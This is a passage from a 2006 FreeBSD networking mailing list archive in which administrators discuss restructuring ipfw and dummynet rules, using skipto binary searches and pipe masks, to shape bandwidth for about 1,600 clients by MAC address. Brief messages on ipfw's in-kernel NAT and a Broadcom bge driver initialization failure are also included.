better > with ftp, irc dcc and things like that (VoIP would be nice too :P ). So > the only reason I've not put it in production is because its to new and > untested but as soon as I upgrade mine home to 6.x router I'll test it > more extensivly. no performance comparison (at least not yet), but i don't expect NAT to be a real bottleneck. Anyway, if we find it's dead slow, i'll fix it :) > Btw what is the status of the multi-session to the same > point PPTP NAT (e.g call ID tracking) ? i didn't modify the protocol specific nat support, so it's just like with natd. btw a brave guy (Hi Patrick! :) switched 4 boxes (i386 and amd64, UP and SMP) from natd to ipfw's nat and everything went smooth, except for a little bug that i'm tracking down... sounds good to me! :) bye -- Paolo "le influenze esterne sono troppe, il mondo reale non e' mica quello fatato dei komunisti :-p" - Anonymous Lumbard From owner-freebsd-net@FreeBSD.ORG Tue May 2 17:06:09 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 548AB16A40F for ; Tue, 2 May 2006 17:06:09 +0000 (UTC) (envelope-from tpeixoto@widesoft.com.br) Received: from smtp-gw.widesoft.com.br (carbono.widesoft.com.br [200.246.206.6]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0FC6B43D48 for ; Tue, 2 May 2006 17:06:04 +0000 (GMT) (envelope-from tpeixoto@widesoft.com.br) Received: from www.widemail.com.br (grants.widesoft.com.br [172.26.100.1]) by smtp-gw.widesoft.com.br (Postfix) with ESMTP id EFEEB11642; Tue, 2 May 2006 13:58:19 -0300 (BRT) Received: from 200.230.201.250 (SquirrelMail authenticated user tpeixoto) by www.widemail.com.br with HTTP; Tue, 2 May 2006 14:09:12 -0300 (BRT) Message-ID: <59701.200.230.201.250.1146589752.squirrel@www.widemail.com.br> In-Reply-To: <4456D6A3.8080503@elischer.org> References: <49594.200.230.201.250.1146063341.squirrel@www.widemail.com.br> <444F8E89.2050905@wildcard.net.uk> <56286.200.230.201.250.1146067775.squirrel@www.widemail.com.br> <1146073590.1089.80.camel@sky.mediasat.ro> <59615.200.230.201.250.1146083577.squirrel@www.widemail.com.br> <445038CA.2050008@pacific.net.sg> <4456AD8E.2060703@widesoft.com.br> <4456B415.3080901@elischer.org> <4456BF4A.7050107@widesoft.com.br> <4456D19F.7030101@elischer.org> <4456D553.30202@elischer.org> <4456D6A3.8080503@elischer.org> Date: Tue, 2 May 2006 14:09:12 -0300 (BRT) From: tpeixoto@widesoft.com.br To: "Julian Elischer" User-Agent: SquirrelMail/1.4.5 MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal Cc: Lee Johnston , freebsd-net@freebsd.org, Julian Elischer , mihai@duras.ro Subject: Re: Packet loss with traffic shaper and routing X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 May 2006 17:06:10 -0000 Hello. I think I should give some 'real world' examples. /etc/rc.firewall: [Ss][Hh][Aa][Pp][Ee][Rr]) setup_loopback . /etc/rc.shaper ${fwcmd} add 65000 pass all from any to any ;; /etc/rc.shaper: ${fwcmd} pipe 1 config bw 512Kbit/s ${fwcmd} pipe 2 config bw 512Kbit/s ${fwcmd} add pipe 1 all from any to any MAC any 00:11:22:33:44:55 in ${fwcmd} add pipe 2 all from any to any MAC 00:11:22:33:44:55 any out ${fwcmd} pipe 3 config bw 256Kbit/s ${fwcmd} pipe 4 config bw 256Kbit/s ${fwcmd} add pipe 3 all from any to any MAC any 66:77:88:99:aa:bb in ${fwcmd} add pipe 4 all from any to any MAC 66:77:88:99:aa:bb any out ${fwcmd} pipe 5 config bw 128Kbit/s ${fwcmd} pipe 6 config bw 128Kbit/s ${fwcmd} add pipe 5 all from any to any MAC any 00:01:02:03:04:05 in ${fwcmd} add pipe 6 all from any to any MAC 00:01:02:03:04:05 any out ${fwcmd} pipe 7 config bw 512Kbit/s ${fwcmd} pipe 8 config bw 1024Kbit/s ${fwcmd} add pipe 7 all from any to any MAC any 06:07:08:09:0a:0b in ${fwcmd} add pipe 8 all from any to any MAC 06:07:08:09:0a:0b any out ${fwcmd} pipe 9 config bw 64Kbit/s ${fwcmd} pipe 10 config bw 64Kbit/s ${fwcmd} add pipe 9 all from any to any MAC any ab:cd:ef:00:11:22 in ${fwcmd} add pipe 10 all from any to any MAC ab:cd:ef:00:11:22 any out This example is for 5 clients. We have 1600. As you can see, there are 2 rules and 2 pipes per host, not 1600. If we try rc.firewall like this... setup_loopback ${fwcmd} add 65000 pass all from any to any ... we are ok. Interrupts are low. So, following your line of thought, I tried a simple test... setup_loopback ${fwcmd} skipto 65000 ip from any to any MAC any any . /etc/rc.shaper ${fwcmd} add 65000 pass all from any to any This way, the packets will never pass through shaper rules, but interrupts still get very high. Basically, we need a solution to shape each MAC address with its specifics download e upload speeds. Given the tests, I don't see how skipto can help, but if you believe that tablearg (which I am not familiar with) might help, we can try it with 7.x. Thanks. > oops, forgot to fix my cut-n- pastes.. corrected triage below.. > > > Julian Elischer wrote: > >> Julian Elischer wrote: >> >>> tpeixoto@widesoft.com.br wrote: >>> >>>>> That would do it.. >>>>> >>>>> In all versions of FreeBSD >>>>> you can use the skipto rule to make sure that only a few rules are >>>>> run for any >>>>> address. Use it to to a binary search for the right pipe.' >>>>> carefully using 'skipto' and 'table' can make it efficient to do >>>>> very complex >>>>> filters like that. >>>>> >>>> >>>> Sorry, but I didn't realized how to use that as we have to shape >>>> each user individually, i.e., each MAC address on the LAN has its >>>> own download and upload speeds. >>>> >>>> Could you clarify how to improve the situation with the tools you >>>> mentioned? >>> >>> >>> >>> >>> >>> Assuming you can not use "tablearg" yet (it will make this REALLY EASY) >>> then if you have 30 IPs you want to shape from 1.1.1.1 to 1.1.1.30 >> >> >> >> >> then, consider the following example using IP addresses. >> >>> >>> >>> >> ipfw add 1000 skipto 1110 ip from any to 1.1.1.16/28 >> ipfw add 1010 skipto 1032 ip from any to 1.1.1.8/29 >> ipfw add 1012 skipto 1021 ip from any to 1.1.1.4./30 > >> ipfw add 1013 [anything] ip from any to 1.1.1.0 > >> ipfw add 1014 [anything] ip from any to 1.1.1.1 >> ipfw add 1015 [anything] ip from any to 1.1.1.2 >> ipfw add 1016 [anything] ip from any to 1.1.1.3 >> >> >> ipfw add 1021 anything] ip from any to 1.1.1.4 >> ipfw add 1022 [anything] ip from any to 1.1.1.5 >> ipfw add 1023 [anything] ip from any to 1.1.1.6 >> ipfw add 1024 [anything] ip from any to 1.1.1.7 >> >> >> ipfw add 1032 skipto 1051 ip from any to 1.1.1.12./30 >> >> ipfw add 1040 [anything] ip from any to 1.1.1.8 >> ipfw add 1041 [anything] ip from any to 1.1.1.9 >> ipfw add 1042 [anything] ip from any to 1.1.1.10 >> ipfw add 1043 [anything] ip from any to 1.1.1.11 >> >> >> ipfw add 1051 [anything] ip from any to 1.1.1.12 >> ipfw add 1052 [anything] ip from any to 1.1.1.13 >> ipfw add 1053 [anything] ip from any to 1.1.1.14 >> ipfw add 1054 [anything] ip from any to 1.1.1.15 >> >> >> ipfw add 1110 skipto 1132 ip from any to 1.1.1.24/29 >> ipfw add 1112 skipto 1121 ip from any to 1.1.1.20./30 >> ipfw add 1113 [anything] ip from any to 1.1.1.16 >> ipfw add 1114 [anything] ip from any to 1.1.1.17 >> ipfw add 1115 [anything] ip from any to 1.1.1.18 > >> ipfw add 1116 [anything] ip from any to 1.1.1.19 > >> >> >> ipfw add 1121 anything] ip from any to 1.1.1.20 >> ipfw add 1122 [anything] ip from any to 1.1.1.21 >> ipfw add 1123 [anything] ip from any to 1.1.1.22 >> ipfw add 1124 [anything] ip from any to 1.1.1.23 >> >> >> ipfw add 1132 skipto 1151 ip from any to 1.1.1.28./30 >> >> ipfw add 1140 [anything] ip from any to 1.1.1.24 >> ipfw add 1141 [anything] ip from any to 1.1.1.25 >> ipfw add 1142 [anything] ip from any to 1.1.1.26 >> ipfw add 1143 [anything] ip from any to 1.1.1.27 >> >> >> ipfw add 1151 [anything] ip from any to 1.1.1.28 >> ipfw add 1152 [anything] ip from any to 1.1.1.29 >> ipfw add 1153 [anything] ip from any to 1.1.1.30 >> ipfw add 1154 [anything] ip from any to 1.1.1.31 >> >> >> >> >> >> now this example shows a binary search in IP space, written (including >> bugs) by hand >> but if you are willing to write a suitable perl script, you can >> generate a binary search in MAC address space >> just as easily. just sort them into order and search.. >> >> I'm not going to try it by had, but for 1600 hosts you should only >> need to go through >> 15 rules per host on average, instead of 1600 rules per host. >> that should cut down your ipfw cpu usage by 1/100 >> >> >> >>> >>> freebsd.org" >> > From owner-freebsd-net@FreeBSD.ORG Tue May 2 17:20:51 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 784E916A405 for ; Tue, 2 May 2006 17:20:51 +0000 (UTC) (envelope-from tpeixoto@widesoft.com.br) Received: from smtp-gw.widesoft.com.br (carbono.widesoft.com.br [200.246.206.6]) by mx1.FreeBSD.org (Postfix) with ESMTP id 8959F43D5A for ; Tue, 2 May 2006 17:20:46 +0000 (GMT) (envelope-from tpeixoto@widesoft.com.br) Received: from www.widemail.com.br (grants.widesoft.com.br [172.26.100.1]) by smtp-gw.widesoft.com.br (Postfix) with ESMTP id 731F744BAA; Tue, 2 May 2006 14:08:22 -0300 (BRT) Received: from 200.230.201.250 (SquirrelMail authenticated user tpeixoto) by www.widemail.com.br with HTTP; Tue, 2 May 2006 14:19:14 -0300 (BRT) Message-ID: <55494.200.230.201.250.1146590354.squirrel@www.widemail.com.br> In-Reply-To: <20060502040911.GG11342@gargantuan.com> References: <49594.200.230.201.250.1146063341.squirrel@www.widemail.com.br> <444F8E89.2050905@wildcard.net.uk> <56286.200.230.201.250.1146067775.squirrel@www.widemail.com.br> <1146073590.1089.80.camel@sky.mediasat.ro> <59615.200.230.201.250.1146083577.squirrel@www.widemail.com.br> <44506D87.1020808@jku.at> <4456B1E0.9040408@widesoft.com.br> <20060502040911.GG11342@gargantuan.com> Date: Tue, 2 May 2006 14:19:14 -0300 (BRT) From: tpeixoto@widesoft.com.br To: tpeixoto@widesoft.com.br, ferdinand.goldmann@jku.at, freebsd-net@freebsd.org User-Agent: SquirrelMail/1.4.5 MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal Cc: Subject: Re: Packet loss with traffic shaper and routing X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 May 2006 17:20:52 -0000 I see that. But if I got this right, I cannot set up speeds individually. We have different speeds for each host. Thanks for your time. > On 2006-05-01T22:12:00-0300, tpeixoto@widesoft.com.br wrote: >> Please, take a look in my previous post. >> I guess the problem lies with IPFW and dummynet. >> How do you shape your clients? >> >> Here we have (for each client): >> >> ipfw pipe 1 config bw 512Kbit/s >> ipfw pipe 2 config bw 512Kbit/s >> ipfw add pipe 1 ip from any to any mac any 00:11:22:33:44:55 in >> ipfw add pipe 2 ip from any to any mac 00:11:22:33:44:55 any out > > I am no ipfw or dummynet expert, but I read some of your other posts and > noticed that you are using 3200 rules and 3200 pipes, and are matching > the mac address. Do you have to match the mac, or can you do this by IP > address? According to the IPFW man page, if you specify a mask with > your pipe configuration, you can match on every bit which would > dynamically create the pipes based on the size of the parent pipe. I > think it would be something like... > > ipfw pipe 1 config bw 512kbit/s mask src-ip 0xffffffff > ipfw pipe 2 config bw 512kbit/s mask dst-ip 0xffffffff > ipfw add pipe 1 ip from any to any in > ipfw add pipe 2 ip from any to any out > > Like I said, I am no expert, but figured I would spew this to the list > anyway. > > -- > Mike Oliver, KI4OFU > [see complete headers for contact information] > From owner-freebsd-net@FreeBSD.ORG Tue May 2 18:06:11 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 70E9916A709 for ; Tue, 2 May 2006 18:06:11 +0000 (UTC) (envelope-from julian@elischer.org) Received: from a50.ironport.com (a50.ironport.com [63.251.108.112]) by mx1.FreeBSD.org (Postfix) with ESMTP id 32EDB43D62 for ; Tue, 2 May 2006 18:06:04 +0000 (GMT) (envelope-from julian@elischer.org) Received: from unknown (HELO [10.251.19.131]) ([10.251.19.131]) by a50.ironport.com with ESMTP; 02 May 2006 11:06:02 -0700 Message-ID: <44579F89.6020703@elischer.org> Date: Tue, 02 May 2006 11:06:01 -0700 From: Julian Elischer User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.13) Gecko/20060414 X-Accept-Language: en-us, en MIME-Version: 1.0 To: tpeixoto@widesoft.com.br References: <49594.200.230.201.250.1146063341.squirrel@www.widemail.com.br> <444F8E89.2050905@wildcard.net.uk> <56286.200.230.201.250.1146067775.squirrel@www.widemail.com.br> <1146073590.1089.80.camel@sky.mediasat.ro> <59615.200.230.201.250.1146083577.squirrel@www.widemail.com.br> <445038CA.2050008@pacific.net.sg> <4456AD8E.2060703@widesoft.com.br> <4456B415.3080901@elischer.org> <4456BF4A.7050107@widesoft.com.br> <4456D19F.7030101@elischer.org> <4456D553.30202@elischer.org> <4456D6A3.8080503@elischer.org> <59701.200.230.201.250.1146589752.squirrel@www.widemail.com.br> In-Reply-To: <59701.200.230.201.250.1146589752.squirrel@www.widemail.com.br> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: Lee Johnston , freebsd-net@freebsd.org, mihai@duras.ro Subject: Re: Packet loss with traffic shaper and routing X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 May 2006 18:06:11 -0000 tpeixoto@widesoft.com.br wrote: >Hello. >I think I should give some 'real world' examples. > > >/etc/rc.firewall: > >[Ss][Hh][Aa][Pp][Ee][Rr]) > setup_loopback > > . /etc/rc.shaper > > ${fwcmd} add 65000 pass all from any to any > ;; > > >/etc/rc.shaper: > >${fwcmd} pipe 1 config bw 512Kbit/s >${fwcmd} pipe 2 config bw 512Kbit/s >${fwcmd} add pipe 1 all from any to any MAC any 00:11:22:33:44:55 in >${fwcmd} add pipe 2 all from any to any MAC 00:11:22:33:44:55 any out >${fwcmd} pipe 3 config bw 256Kbit/s >${fwcmd} pipe 4 config bw 256Kbit/s >${fwcmd} add pipe 3 all from any to any MAC any 66:77:88:99:aa:bb in >${fwcmd} add pipe 4 all from any to any MAC 66:77:88:99:aa:bb any out >${fwcmd} pipe 5 config bw 128Kbit/s >${fwcmd} pipe 6 config bw 128Kbit/s >${fwcmd} add pipe 5 all from any to any MAC any 00:01:02:03:04:05 in >${fwcmd} add pipe 6 all from any to any MAC 00:01:02:03:04:05 any out >${fwcmd} pipe 7 config bw 512Kbit/s >${fwcmd} pipe 8 config bw 1024Kbit/s >${fwcmd} add pipe 7 all from any to any MAC any 06:07:08:09:0a:0b in >${fwcmd} add pipe 8 all from any to any MAC 06:07:08:09:0a:0b any out >${fwcmd} pipe 9 config bw 64Kbit/s >${fwcmd} pipe 10 config bw 64Kbit/s >${fwcmd} add pipe 9 all from any to any MAC any ab:cd:ef:00:11:22 in >${fwcmd} add pipe 10 all from any to any MAC ab:cd:ef:00:11:22 any out > > OK, so, put the MACs in numerical order: 00:01:02:03:04:05 00:11:22:33:44:55 06:07:08:09:0a:0b 66:77:88:99:aa:bb ab:cd:ef:00:11:22 work out MASKS that divide them into a binary set. e.g. 1 skipto 10 all from any to not MAC 00:00:00:00:00:00/8 2 skipto 5 all from any to not MAC 00:01:00:00:00:00/16 3 pipe 1 ip from any to any 5 pipe 2 ip from any to any 10 skipto 12 all from any to not MAC 06:00:00:00:00:00/8 11 pipe 3 all from any to any 12 skipto 14 all from any to not MAC 66:00:00:00:00:00/8 13 pipe 4 all from any to any 14 pipe 5 all from any to any now, if you continue this on, you will run 16 rules to divide the 1600 rules up to find the right pipe. > >This example is for 5 clients. We have 1600. >As you can see, there are 2 rules and 2 pipes per host, not 1600. > > >If we try rc.firewall like this... > >setup_loopback >${fwcmd} add 65000 pass all from any to any > >... we are ok. Interrupts are low. > >So, following your line of thought, I tried a simple test... > >setup_loopback >${fwcmd} skipto 65000 ip from any to any MAC any any >. /etc/rc.shaper >${fwcmd} add 65000 pass all from any to any > >This way, the packets will never pass through shaper rules, but interrupts >still get very high. > > I don't see how that proves anything >Basically, we need a solution to shape each MAC address with its specifics >download e upload speeds. >Given the tests, I don't see how skipto can help, but if you believe that >tablearg (which I am not familiar with) might help, we can try it with >7.x. > > Tablearg only works with IP addresses. >Thanks. > > > > >>oops, forgot to fix my cut-n- pastes.. corrected triage below.. >> >> >>Julian Elischer wrote: >> >> >> >>>Julian Elischer wrote: >>> >>> >>> >>>>tpeixoto@widesoft.com.br wrote: >>>> >>>> >>>> >>>>>>That would do it.. >>>>>> >>>>>>In all versions of FreeBSD >>>>>>you can use the skipto rule to make sure that only a few rules are >>>>>>run for any >>>>>>address. Use it to to a binary search for the right pipe.' >>>>>>carefully using 'skipto' and 'table' can make it efficient to do >>>>>>very complex >>>>>>filters like that. >>>>>> >>>>>> >>>>>> >>>>>Sorry, but I didn't realized how to use that as we have to shape >>>>>each user individually, i.e., each MAC address on the LAN has its >>>>>own download and upload speeds. >>>>> >>>>>Could you clarify how to improve the situation with the tools you >>>>>mentioned? >>>>> >>>>> >>>> >>>> >>>> >>>>Assuming you can not use "tablearg" yet (it will make this REALLY EASY) >>>>then if you have 30 IPs you want to shape from 1.1.1.1 to 1.1.1.30 >>>> >>>> >>> >>> >>>then, consider the following example using IP addresses. >>> >>> >>> >>>> >>>> >>>> >>>ipfw add 1000 skipto 1110 ip from any to 1.1.1.16/28 >>>ipfw add 1010 skipto 1032 ip from any to 1.1.1.8/29 >>>ipfw add 1012 skipto 1021 ip from any to 1.1.1.4./30 >>> >>> >>>ipfw add 1013 [anything] ip from any to 1.1.1.0 >>> >>> >>>ipfw add 1014 [anything] ip from any to 1.1.1.1 >>>ipfw add 1015 [anything] ip from any to 1.1.1.2 >>>ipfw add 1016 [anything] ip from any to 1.1.1.3 >>> >>> >>>ipfw add 1021 anything] ip from any to 1.1.1.4 >>>ipfw add 1022 [anything] ip from any to 1.1.1.5 >>>ipfw add 1023 [anything] ip from any to 1.1.1.6 >>>ipfw add 1024 [anything] ip from any to 1.1.1.7 >>> >>> >>>ipfw add 1032 skipto 1051 ip from any to 1.1.1.12./30 >>> >>>ipfw add 1040 [anything] ip from any to 1.1.1.8 >>>ipfw add 1041 [anything] ip from any to 1.1.1.9 >>>ipfw add 1042 [anything] ip from any to 1.1.1.10 >>>ipfw add 1043 [anything] ip from any to 1.1.1.11 >>> >>> >>>ipfw add 1051 [anything] ip from any to 1.1.1.12 >>>ipfw add 1052 [anything] ip from any to 1.1.1.13 >>>ipfw add 1053 [anything] ip from any to 1.1.1.14 >>>ipfw add 1054 [anything] ip from any to 1.1.1.15 >>> >>> >>>ipfw add 1110 skipto 1132 ip from any to 1.1.1.24/29 >>>ipfw add 1112 skipto 1121 ip from any to 1.1.1.20./30 >>>ipfw add 1113 [anything] ip from any to 1.1.1.16 >>>ipfw add 1114 [anything] ip from any to 1.1.1.17 >>>ipfw add 1115 [anything] ip from any to 1.1.1.18 >>> >>> >>>ipfw add 1116 [anything] ip from any to 1.1.1.19 >>> >>> >>>ipfw add 1121 anything] ip from any to 1.1.1.20 >>>ipfw add 1122 [anything] ip from any to 1.1.1.21 >>>ipfw add 1123 [anything] ip from any to 1.1.1.22 >>>ipfw add 1124 [anything] ip from any to 1.1.1.23 >>> >>> >>>ipfw add 1132 skipto 1151 ip from any to 1.1.1.28./30 >>> >>>ipfw add 1140 [anything] ip from any to 1.1.1.24 >>>ipfw add 1141 [anything] ip from any to 1.1.1.25 >>>ipfw add 1142 [anything] ip from any to 1.1.1.26 >>>ipfw add 1143 [anything] ip from any to 1.1.1.27 >>> >>> >>>ipfw add 1151 [anything] ip from any to 1.1.1.28 >>>ipfw add 1152 [anything] ip from any to 1.1.1.29 >>>ipfw add 1153 [anything] ip from any to 1.1.1.30 >>>ipfw add 1154 [anything] ip from any to 1.1.1.31 >>> >>> >>> >>> >>> >>>now this example shows a binary search in IP space, written (including >>>bugs) by hand >>>but if you are willing to write a suitable perl script, you can >>>generate a binary search in MAC address space >>>just as easily. just sort them into order and search.. >>> >>>I'm not going to try it by had, but for 1600 hosts you should only >>>need to go through >>>15 rules per host on average, instead of 1600 rules per host. >>>that should cut down your ipfw cpu usage by 1/100 >>> >>> >>> >>> >>> >>>>freebsd.org" >>>> >>>> > > > From owner-freebsd-net@FreeBSD.ORG Tue May 2 18:15:23 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1DFCF16A60E for ; Tue, 2 May 2006 18:15:23 +0000 (UTC) (envelope-from julian@elischer.org) Received: from a50.ironport.com (a50.ironport.com [63.251.108.112]) by mx1.FreeBSD.org (Postfix) with ESMTP id 7D68243DFC for ; Tue, 2 May 2006 18:14:22 +0000 (GMT) (envelope-from julian@elischer.org) Received: from unknown (HELO [10.251.19.131]) ([10.251.19.131]) by a50.ironport.com with ESMTP; 02 May 2006 11:14:21 -0700 Message-ID: <4457A17C.7010400@elischer.org> Date: Tue, 02 May 2006 11:14:20 -0700 From: Julian Elischer User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.13) Gecko/20060414 X-Accept-Language: en-us, en MIME-Version: 1.0 To: tpeixoto@widesoft.com.br References: <49594.200.230.201.250.1146063341.squirrel@www.widemail.com.br> <444F8E89.2050905@wildcard.net.uk> <56286.200.230.201.250.1146067775.squirrel@www.widemail.com.br> <1146073590.1089.80.camel@sky.mediasat.ro> <59615.200.230.201.250.1146083577.squirrel@www.widemail.com.br> <445038CA.2050008@pacific.net.sg> <4456AD8E.2060703@widesoft.com.br> <4456B415.3080901@elischer.org> <4456BF4A.7050107@widesoft.com.br> <4456D19F.7030101@elischer.org> <4456D553.30202@elischer.org> <4456D6A3.8080503@elischer.org> <59701.200.230.201.250.1146589752.squirrel@www.widemail.com.br> In-Reply-To: <59701.200.230.201.250.1146589752.squirrel@www.widemail.com.br> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: Lee Johnston , freebsd-net@freebsd.org, mihai@duras.ro Subject: Re: Packet loss with traffic shaper and routing X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 May 2006 18:15:23 -0000 tpeixoto@widesoft.com.br wrote: >Hello. >I think I should give some 'real world' examples. > > >/etc/rc.firewall: > >[Ss][Hh][Aa][Pp][Ee][Rr]) > setup_loopback > > . /etc/rc.shaper > > ${fwcmd} add 65000 pass all from any to any > ;; > > >/etc/rc.shaper: > >${fwcmd} pipe 1 config bw 512Kbit/s >${fwcmd} pipe 2 config bw 512Kbit/s >${fwcmd} add pipe 1 all from any to any MAC any 00:11:22:33:44:55 in >${fwcmd} add pipe 2 all from any to any MAC 00:11:22:33:44:55 any out >${fwcmd} pipe 3 config bw 256Kbit/s >${fwcmd} pipe 4 config bw 256Kbit/s >${fwcmd} add pipe 3 all from any to any MAC any 66:77:88:99:aa:bb in >${fwcmd} add pipe 4 all from any to any MAC 66:77:88:99:aa:bb any out >${fwcmd} pipe 5 config bw 128Kbit/s >${fwcmd} pipe 6 config bw 128Kbit/s >${fwcmd} add pipe 5 all from any to any MAC any 00:01:02:03:04:05 in >${fwcmd} add pipe 6 all from any to any MAC 00:01:02:03:04:05 any out >${fwcmd} pipe 7 config bw 512Kbit/s >${fwcmd} pipe 8 config bw 1024Kbit/s >${fwcmd} add pipe 7 all from any to any MAC any 06:07:08:09:0a:0b in >${fwcmd} add pipe 8 all from any to any MAC 06:07:08:09:0a:0b any out >${fwcmd} pipe 9 config bw 64Kbit/s >${fwcmd} pipe 10 config bw 64Kbit/s >${fwcmd} add pipe 9 all from any to any MAC any ab:cd:ef:00:11:22 in >${fwcmd} add pipe 10 all from any to any MAC ab:cd:ef:00:11:22 any out > > > BTW get an immediate 50% drop in CPU by doing: ${fwcmd} pipe 1 config bw 512Kbit/s ${fwcmd} pipe 2 config bw 512Kbit/s ${fwcmd} pipe 3 config bw 256Kbit/s ${fwcmd} pipe 4 config bw 256Kbit/s ${fwcmd} pipe 5 config bw 128Kbit/s ${fwcmd} pipe 6 config bw 128Kbit/s ${fwcmd} pipe 7 config bw 512Kbit/s ${fwcmd} pipe 8 config bw 1024Kbit/s ${fwcmd} pipe 9 config bw 64Kbit/s ${fwcmd} pipe 10 config bw 64Kbit/s skipto 112 all from any to any out ${fwcmd} add 101 pipe 1 all from any to any MAC any 00:11:22:33:44:55 ${fwcmd} add 103 pipe 3 all from any to any MAC any 66:77:88:99:aa:bb ${fwcmd} add 105 pipe 5 all from any to any MAC any 00:01:02:03:04:05 ${fwcmd} add 107 pipe 7 all from any to any MAC any 06:07:08:09:0a:0b ${fwcmd} add 109 pipe 9 all from any to any MAC any ab:cd:ef:00:11:22 ${fwcmd} add 110 drop all from any to any ${fwcmd} add 112 pipe 2 all from any to any MAC 00:11:22:33:44:55 any ${fwcmd} add 114 pipe 4 all from any to any MAC 66:77:88:99:aa:bb any ${fwcmd} add 116 pipe 6 all from any to any MAC 00:01:02:03:04:05 any ${fwcmd} add 118 pipe 8 all from any to any MAC 06:07:08:09:0a:0b any ${fwcmd} add 120 pipe 10 all from any to any MAC ab:cd:ef:00:11:22 any From owner-freebsd-net@FreeBSD.ORG Tue May 2 18:43:35 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 44F7016A5EF for ; Tue, 2 May 2006 18:43:35 +0000 (UTC) (envelope-from robertw@ssginnovations.com) Received: from ssg1.ssginnovations.com (ssg1.ssginnovations.com [205.145.130.194]) by mx1.FreeBSD.org (Postfix) with ESMTP id 87FFC43D7B for ; Tue, 2 May 2006 18:43:34 +0000 (GMT) (envelope-from robertw@ssginnovations.com) Received: from server1.ssgi.local (unknown [205.145.129.164]) by ssg1.ssginnovations.com (Mail Daemon) with ESMTP id EE6924148 for ; Tue, 2 May 2006 14:43:33 -0400 (EDT) Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Date: Tue, 2 May 2006 14:43:26 -0400 Message-ID: <85D4F2C294E8434CA0AF77574153268609509A@server1.ssgi.local> X-MimeOLE: Produced By Microsoft Exchange V6.5 X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: 6.1-RC bge RX CPU self-diagnostic failed Thread-Index: AcZt5GAUpzRnipHAQDqt9iISU/0aEw== From: "Robert Wojciechowski" To: Subject: 6.1-RC bge RX CPU self-diagnostic failed X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 May 2006 18:43:35 -0000 I'm running into a problem with some new dual Opteron servers we just received yesterday on 6.1-STABLE (-RC now I suppose) amd64 updated as of today. When booting, it sometimes fails to initialize the onboard Broadcom gigabit Ethernet: bge0: mem 0xfc9f0000-0xfc9fffff irq 26 at device 5.0 on pci2 bge0: firmware handshake timed out bge0: RX CPU self-diagnostics failed! bge0: chip initialization failed device_attach: bge0 attach returned 6 bge1: mem 0xfc9e0000-0xfc9effff irq 27 at device 5.1 on pci2 bge1: firmware handshake timed out bge1: RX CPU self-diagnostics failed! bge1: chip initialization failed device_attach: bge1 attach returned 6 Rebooting until the card is initialized seems to allow me to use those interfaces. I have 2 other servers with identical BCM5704C chips running on dual Opterons on 6.1-STABLE amd64 and they seem to work fine on those. I have two of these new servers but have only seen this problem on one of them today. I'm trying to duplicate it on both boxes as we speak. Any ideas on what I can do? Thanks! -- Robert From owner-freebsd-net@FreeBSD.ORG Tue May 2 19:30:37 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id ACC9216A6E6 for ; Tue, 2 May 2006 19:30:37 +0000 (UTC) (envelope-from vulture@netvulture.com) Received: from rackman.netvulture.com (adsl-63-197-17-60.dsl.snfc21.pacbell.net [63.197.17.60]) by mx1.FreeBSD.org (Postfix) with ESMTP id DE9C143D83 for ; Tue, 2 May 2006 19:30:16 +0000 (GMT) (envelope-from vulture@netvulture.com) Received: from [127.0.0.1] (host73.netvulture.com [208.201.244.73]) (authenticated bits=0) by rackman.netvulture.com (8.13.5/8.13.5) with ESMTP id k42JFqsr002682; Tue, 2 May 2006 